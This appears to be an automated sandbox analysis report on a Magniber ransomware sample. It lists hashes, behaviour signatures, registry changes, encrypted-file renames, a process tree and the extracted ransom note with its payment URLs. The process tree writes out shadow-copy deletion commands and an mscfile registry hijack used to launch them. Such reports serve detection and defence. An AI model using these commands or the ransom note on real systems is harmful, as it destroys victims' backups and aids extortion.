magniber | 8474b7fd46e898991cbd0338ebd345bd3fd63a118168bbc662b52dff25e033cf

Analysis

max time kernel
150s
max time network
152s
platform
windows7_x64
resource
win7v20210410
submitted
22-06-2021 14:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5.exe
Size

21KB
MD5

9f4a400b5500df75cc0ba3fc2cf9d958
SHA1

b1c4fbdce52f495c548d0de5e62e2996f6e6d31f
SHA256

8474b7fd46e898991cbd0338ebd345bd3fd63a118168bbc662b52dff25e033cf
SHA512

ddd55d6a17fb83b664a1cf1a2e50769a864b3b0178e24ea5563dfc056853ae67ff97e89bc5981b5f0869175950d2a6dccde161a0239fb643a93bed0099ce3575

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://66a814088e14c040feefmsoxzs.ndkeblzjnpqgpo5o.onion/efmsoxzs Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://66a814088e14c040feefmsoxzs.lieedge.casa/efmsoxzs http://66a814088e14c040feefmsoxzs.lognear.xyz/efmsoxzs http://66a814088e14c040feefmsoxzs.bejoin.space/efmsoxzs http://66a814088e14c040feefmsoxzs.wonride.site/efmsoxzs Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://66a814088e14c040feefmsoxzs.ndkeblzjnpqgpo5o.onion/efmsoxzs

http://66a814088e14c040feefmsoxzs.lieedge.casa/efmsoxzs

http://66a814088e14c040feefmsoxzs.lognear.xyz/efmsoxzs

http://66a814088e14c040feefmsoxzs.bejoin.space/efmsoxzs

http://66a814088e14c040feefmsoxzs.wonride.site/efmsoxzs

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 10 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.execmd.execmd.execmd.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2112	904	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2096	904	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2084	904	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2068	904	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2060	904	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2624	904	vssadmin.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2640	904	vssadmin.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2672	904	vssadmin.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2664	904	vssadmin.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3012	904	vssadmin.exe	48

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 9 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

Dwm.exe

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\ExpandStart.crw => C:\Users\Admin\Pictures\ExpandStart.crw.efmsoxzs	Dwm.exe
File renamed	C:\Users\Admin\Pictures\FormatSelect.raw => C:\Users\Admin\Pictures\FormatSelect.raw.efmsoxzs	Dwm.exe
File renamed	C:\Users\Admin\Pictures\StepDisable.crw => C:\Users\Admin\Pictures\StepDisable.crw.efmsoxzs	Dwm.exe
File renamed	C:\Users\Admin\Pictures\UnprotectRead.raw => C:\Users\Admin\Pictures\UnprotectRead.raw.efmsoxzs	Dwm.exe
File opened for modification	C:\Users\Admin\Pictures\ResolveOpen.tiff	Dwm.exe
File renamed	C:\Users\Admin\Pictures\ResolveOpen.tiff => C:\Users\Admin\Pictures\ResolveOpen.tiff.efmsoxzs	Dwm.exe
File renamed	C:\Users\Admin\Pictures\ResumeRead.tif => C:\Users\Admin\Pictures\ResumeRead.tif.efmsoxzs	Dwm.exe
File opened for modification	C:\Users\Admin\Pictures\SearchUndo.tiff	Dwm.exe
File renamed	C:\Users\Admin\Pictures\SearchUndo.tiff => C:\Users\Admin\Pictures\SearchUndo.tiff.efmsoxzs	Dwm.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

5.exe

description	pid	Process	procid_target
PID 788 set thread context of 1104	788	5.exe	13
PID 788 set thread context of 1172	788	5.exe	12
PID 788 set thread context of 1204	788	5.exe	11

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	Process
2624	vssadmin.exe
2640	vssadmin.exe
2672	vssadmin.exe
2664	vssadmin.exe
3012	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000051618adbbbd0f84eb34ff59fe7045e8f000000000200000000001066000000010000200000004e55be3b19fb96ac7c375da046626e9fda8f667c2ccf2b16e14c0d68fcc9db8f000000000e800000000200002000000037c1d158ce808d67de2a0d5a388a38baf98568e2544e611ac80a0489b48d008c90000000fae5194b5ea1e4d861c289ae23d70f06fb2eca426c73d21ebca8f68100fbce580c2ed2b7e00c7da018bef4e692efbf9d60dbafb8c402a85aca123aa3b9f8bc691e4cffb37aeaaa88e607910e72848d28f8123bada0c5d72d4ac82a156951be9d612e5f8cba74569038614972e4bc2d4e8f670c2cf7b78e80b4edf60a899f878724a42b4789819bc4c7e5a002754c6040400000002b8b4e36dbe452892c99cfcf81384879fb4a2fe56462deaa59c17df65d34d2240a2574583167fe8e915da793dc9fb39d106b7162501ac5485b38b80dab1455f1	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 70b152816f67d701	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000051618adbbbd0f84eb34ff59fe7045e8f0000000002000000000010660000000100002000000055fc1ce2ee7d20da9844e7edcc2078aaa9690c6c457362cbf46fcebbc5e7cb3c000000000e8000000002000020000000ae7ceae5a0da21bb0962325e5057f1083d108eecd2927b580b66c7b594b37b8d2000000089d4a4fb7a30a93940f5f5bbc9769e664a1bf5651f7c83ffaa216b6ccbdccbf8400000009668e2229c6a13ca32e911be7daa52f37e492af878c5c49603788718a4834e7a3555387fd9e173b133f04c1948b490967e207b8ba95d2ba1febfbe8b04bc8a9f	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "331135601"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{A8481191-D362-11EB-B46F-CA719EEEFCCE} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe

Modifies registry class 11 IoCs

Processes:

Dwm.exeExplorer.EXE5.exetaskhost.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	5.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	5.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

Processes:

notepad.exe

pid	Process
1244	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

5.exe

pid	Process
788	5.exe
788	5.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

iexplore.exe

pid	Process
1880	iexplore.exe

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

5.exe

pid	Process
788	5.exe
788	5.exe
788	5.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEWMIC.exeWMIC.exeWMIC.exe

description	pid	Process
Token: SeShutdownPrivilege	1204	Explorer.EXE
Token: SeShutdownPrivilege	1204	Explorer.EXE
Token: SeShutdownPrivilege	1204	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	284	WMIC.exe
Token: SeSecurityPrivilege	284	WMIC.exe
Token: SeTakeOwnershipPrivilege	284	WMIC.exe
Token: SeLoadDriverPrivilege	284	WMIC.exe
Token: SeSystemProfilePrivilege	284	WMIC.exe
Token: SeSystemtimePrivilege	284	WMIC.exe
Token: SeProfSingleProcessPrivilege	284	WMIC.exe
Token: SeIncBasePriorityPrivilege	284	WMIC.exe
Token: SeCreatePagefilePrivilege	284	WMIC.exe
Token: SeBackupPrivilege	284	WMIC.exe
Token: SeRestorePrivilege	284	WMIC.exe
Token: SeShutdownPrivilege	284	WMIC.exe
Token: SeDebugPrivilege	284	WMIC.exe
Token: SeSystemEnvironmentPrivilege	284	WMIC.exe
Token: SeRemoteShutdownPrivilege	284	WMIC.exe
Token: SeUndockPrivilege	284	WMIC.exe
Token: SeManageVolumePrivilege	284	WMIC.exe
Token: 33	284	WMIC.exe
Token: 34	284	WMIC.exe
Token: 35	284	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1596	WMIC.exe
Token: SeSecurityPrivilege	1596	WMIC.exe
Token: SeTakeOwnershipPrivilege	1596	WMIC.exe
Token: SeLoadDriverPrivilege	1596	WMIC.exe
Token: SeSystemProfilePrivilege	1596	WMIC.exe
Token: SeSystemtimePrivilege	1596	WMIC.exe
Token: SeProfSingleProcessPrivilege	1596	WMIC.exe
Token: SeIncBasePriorityPrivilege	1596	WMIC.exe
Token: SeCreatePagefilePrivilege	1596	WMIC.exe
Token: SeBackupPrivilege	1596	WMIC.exe
Token: SeRestorePrivilege	1596	WMIC.exe
Token: SeShutdownPrivilege	1596	WMIC.exe
Token: SeDebugPrivilege	1596	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1596	WMIC.exe
Token: SeRemoteShutdownPrivilege	1596	WMIC.exe
Token: SeUndockPrivilege	1596	WMIC.exe
Token: SeManageVolumePrivilege	1596	WMIC.exe
Token: 33	1596	WMIC.exe
Token: 34	1596	WMIC.exe
Token: 35	1596	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1604	WMIC.exe
Token: SeSecurityPrivilege	1604	WMIC.exe
Token: SeTakeOwnershipPrivilege	1604	WMIC.exe
Token: SeLoadDriverPrivilege	1604	WMIC.exe
Token: SeSystemProfilePrivilege	1604	WMIC.exe
Token: SeSystemtimePrivilege	1604	WMIC.exe
Token: SeProfSingleProcessPrivilege	1604	WMIC.exe
Token: SeIncBasePriorityPrivilege	1604	WMIC.exe
Token: SeCreatePagefilePrivilege	1604	WMIC.exe
Token: SeBackupPrivilege	1604	WMIC.exe
Token: SeRestorePrivilege	1604	WMIC.exe
Token: SeShutdownPrivilege	1604	WMIC.exe
Token: SeDebugPrivilege	1604	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1604	WMIC.exe
Token: SeRemoteShutdownPrivilege	1604	WMIC.exe
Token: SeUndockPrivilege	1604	WMIC.exe
Token: SeManageVolumePrivilege	1604	WMIC.exe
Token: 33	1604	WMIC.exe
Token: 34	1604	WMIC.exe
Token: 35	1604	WMIC.exe
Token: SeShutdownPrivilege	1204	Explorer.EXE

Suspicious use of FindShellTrayWindow 6 IoCs

Processes:

Explorer.EXEiexplore.exe

pid	Process
1204	Explorer.EXE
1880	iexplore.exe
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE

Suspicious use of SendNotifyMessage 8 IoCs

Processes:

Explorer.EXE

pid	Process
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid	Process
1880	iexplore.exe
1880	iexplore.exe
1120	IEXPLORE.EXE
1120	IEXPLORE.EXE
1120	IEXPLORE.EXE
1120	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Dwm.execmd.exetaskhost.execmd.exeExplorer.EXEcmd.execmd.exe5.execmd.execmd.exeiexplore.execmd.execmd.execmd.execmd.execmd.exeCompMgmtLauncher.exeCompMgmtLauncher.exe

description	pid	Process	procid_target
PID 1172 wrote to memory of 1244	1172	Dwm.exe	26
PID 1172 wrote to memory of 1244	1172	Dwm.exe	26
PID 1172 wrote to memory of 1244	1172	Dwm.exe	26
PID 1172 wrote to memory of 616	1172	Dwm.exe	28
PID 1172 wrote to memory of 616	1172	Dwm.exe	28
PID 1172 wrote to memory of 616	1172	Dwm.exe	28
PID 1172 wrote to memory of 760	1172	Dwm.exe	29
PID 1172 wrote to memory of 760	1172	Dwm.exe	29
PID 1172 wrote to memory of 760	1172	Dwm.exe	29
PID 760 wrote to memory of 284	760	cmd.exe	32
PID 760 wrote to memory of 284	760	cmd.exe	32
PID 760 wrote to memory of 284	760	cmd.exe	32
PID 1104 wrote to memory of 824	1104	taskhost.exe	33
PID 1104 wrote to memory of 824	1104	taskhost.exe	33
PID 1104 wrote to memory of 824	1104	taskhost.exe	33
PID 616 wrote to memory of 1880	616	cmd.exe	37
PID 616 wrote to memory of 1880	616	cmd.exe	37
PID 616 wrote to memory of 1880	616	cmd.exe	37
PID 1204 wrote to memory of 1624	1204	Explorer.EXE	35
PID 1204 wrote to memory of 1624	1204	Explorer.EXE	35
PID 1204 wrote to memory of 1624	1204	Explorer.EXE	35
PID 824 wrote to memory of 1604	824	cmd.exe	39
PID 824 wrote to memory of 1604	824	cmd.exe	39
PID 824 wrote to memory of 1604	824	cmd.exe	39
PID 1624 wrote to memory of 1596	1624	cmd.exe	38
PID 1624 wrote to memory of 1596	1624	cmd.exe	38
PID 1624 wrote to memory of 1596	1624	cmd.exe	38
PID 788 wrote to memory of 1056	788	5.exe	40
PID 788 wrote to memory of 1056	788	5.exe	40
PID 788 wrote to memory of 1056	788	5.exe	40
PID 1056 wrote to memory of 1748	1056	cmd.exe	42
PID 1056 wrote to memory of 1748	1056	cmd.exe	42
PID 1056 wrote to memory of 1748	1056	cmd.exe	42
PID 788 wrote to memory of 1628	788	5.exe	44
PID 788 wrote to memory of 1628	788	5.exe	44
PID 788 wrote to memory of 1628	788	5.exe	44
PID 1628 wrote to memory of 700	1628	cmd.exe	46
PID 1628 wrote to memory of 700	1628	cmd.exe	46
PID 1628 wrote to memory of 700	1628	cmd.exe	46
PID 1880 wrote to memory of 1120	1880	iexplore.exe	49
PID 1880 wrote to memory of 1120	1880	iexplore.exe	49
PID 1880 wrote to memory of 1120	1880	iexplore.exe	49
PID 1880 wrote to memory of 1120	1880	iexplore.exe	49
PID 2060 wrote to memory of 2208	2060	cmd.exe	60
PID 2060 wrote to memory of 2208	2060	cmd.exe	60
PID 2060 wrote to memory of 2208	2060	cmd.exe	60
PID 2096 wrote to memory of 2232	2096	cmd.exe	61
PID 2096 wrote to memory of 2232	2096	cmd.exe	61
PID 2096 wrote to memory of 2232	2096	cmd.exe	61
PID 2112 wrote to memory of 2244	2112	cmd.exe	62
PID 2112 wrote to memory of 2244	2112	cmd.exe	62
PID 2112 wrote to memory of 2244	2112	cmd.exe	62
PID 2068 wrote to memory of 2260	2068	cmd.exe	64
PID 2068 wrote to memory of 2260	2068	cmd.exe	64
PID 2068 wrote to memory of 2260	2068	cmd.exe	64
PID 2084 wrote to memory of 2284	2084	cmd.exe	63
PID 2084 wrote to memory of 2284	2084	cmd.exe	63
PID 2084 wrote to memory of 2284	2084	cmd.exe	63
PID 2244 wrote to memory of 2392	2244	CompMgmtLauncher.exe	66
PID 2244 wrote to memory of 2392	2244	CompMgmtLauncher.exe	66
PID 2244 wrote to memory of 2392	2244	CompMgmtLauncher.exe	66
PID 2284 wrote to memory of 2408	2284	CompMgmtLauncher.exe	67
PID 2284 wrote to memory of 2408	2284	CompMgmtLauncher.exe	67
PID 2284 wrote to memory of 2408	2284	CompMgmtLauncher.exe	67

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1204
- C:\Users\Admin\AppData\Local\Temp\5.exe
  "C:\Users\Admin\AppData\Local\Temp\5.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:788
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1056
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:1748
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1628
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:700
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1624
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1596

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1172
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1244
- C:\Windows\system32\cmd.exe
  cmd /c "start http://66a814088e14c040feefmsoxzs.lieedge.casa/efmsoxzs^&1^&39743288^&74^&337^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:616
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://66a814088e14c040feefmsoxzs.lieedge.casa/efmsoxzs&1&39743288&74&337&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1880
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1880 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1120
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:760
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:284

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1104
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:824
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1604

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2244
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2392

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2096
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2232
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2400

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2084
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2284
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2408

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2068
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2260
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2416

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2208
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2764

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2624

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2640

C:\Windows\system32\vssadmin.exe
